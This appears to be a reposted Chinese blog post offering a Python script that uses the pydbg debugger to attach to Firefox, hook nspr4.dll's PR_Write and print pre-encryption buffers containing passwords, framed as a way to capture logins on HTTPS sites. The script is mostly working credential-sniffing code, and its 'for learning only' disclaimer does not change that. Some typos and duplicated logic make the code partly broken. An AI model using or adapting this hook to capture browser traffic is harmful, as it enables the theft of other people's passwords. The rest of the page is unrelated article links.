python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python实现新浪博客备份的方法
Apr 27 Python
Python WSGI的深入理解
Aug 01 Python
IntelliJ IDEA安装运行python插件方法
Dec 10 Python
对python以16进制打印字节数组的方法详解
Jan 24 Python
python实现猜拳小游戏
Apr 05 Python
Python获取时间戳代码实例
Sep 24 Python
Python实现常见的几种加密算法(MD5,SHA-1,HMAC,DES/AES,RSA和ECC)
May 09 Python
django 外键创建注意事项说明
May 20 Python
Django Admin 上传文件到七牛云的示例代码
Jun 20 Python
详解pandas赋值失败问题解决
Nov 29 Python
基于 Python 实践感知器分类算法
Jan 07 Python
python3实现Dijkstra算法最短路径的实现
May 12 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
php通过正则表达式记取数据来读取xml的方法
2015/03/09 PHP
PHP上传图片时判断上传文件是否为可用图片的方法
2016/10/20 PHP
JS增加行复制行删除行的实现代码
2013/11/09 Javascript
实例代码讲解jquery easyui动态tab页
2015/11/17 Javascript
JavaScript中windows.open()、windows.close()方法详解
2016/07/28 Javascript
AngularJS  自定义指令详解及实例代码
2016/09/14 Javascript
使用smartupload组件实现jsp+jdbc上传下载文件实例解析
2017/01/05 Javascript
利用Jquery实现几款漂亮实用的时间轴(附示例代码)
2017/02/15 Javascript
JS实现复选框的全选和批量删除功能
2017/04/05 Javascript
vue-router 路由基础的详解
2017/10/17 Javascript
Vue动态控制input的disabled属性的方法
2018/06/26 Javascript
node app 打包工具pkg的具体使用
2019/01/17 Javascript
15分钟深入了解JS继承分类、原理与用法
2019/01/19 Javascript
原生JS检测CSS3动画是否结束的方法详解
2019/01/27 Javascript
Vue中JS动画与Velocity.js的结合使用
2019/02/13 Javascript
js实现左右轮播图
2020/01/09 Javascript
Node.js API详解之 timer模块用法实例分析
2020/05/07 Javascript
[01:14:19]NAVI vs Mineski 2019国际邀请赛淘汰赛 败者组BO1 8.20.mp4
2020/07/19 DOTA
win10下Python3.6安装、配置以及pip安装包教程
2017/10/01 Python
Python反射和内置方法重写操作详解
2018/08/27 Python
Python的argparse库使用详解
2018/10/09 Python
python得到qq句柄,并显示在前台的方法
2018/10/14 Python
Python代码实现删除一个list里面重复元素的方法
2019/04/02 Python
英国游戏机和游戏购物网站:365games.co.uk
2018/06/18 全球购物
澳大利亚玩具剧场:Toy Playhouse
2019/03/03 全球购物
Molly Bracken法国电子商店:法国女性时尚品牌
2019/07/24 全球购物
为什么要用EJB
2014/04/17 面试题
公司清洁工岗位职责
2013/12/14 职场文书
2014植树节活动总结
2014/03/11 职场文书
爱耳日活动总结
2014/04/30 职场文书
产品包装策划方案
2014/05/18 职场文书
社会公德演讲稿
2014/05/20 职场文书
2015公务员试用期工作总结
2014/12/12 职场文书
Nginx反向代理至go-fastdfs案例讲解
2021/08/02 Servers
怎么禁用Windows 11快照布局? win11不使用快照布局的技巧
2021/11/21 数码科技
Redis+AOP+自定义注解实现限流
2022/06/28 Redis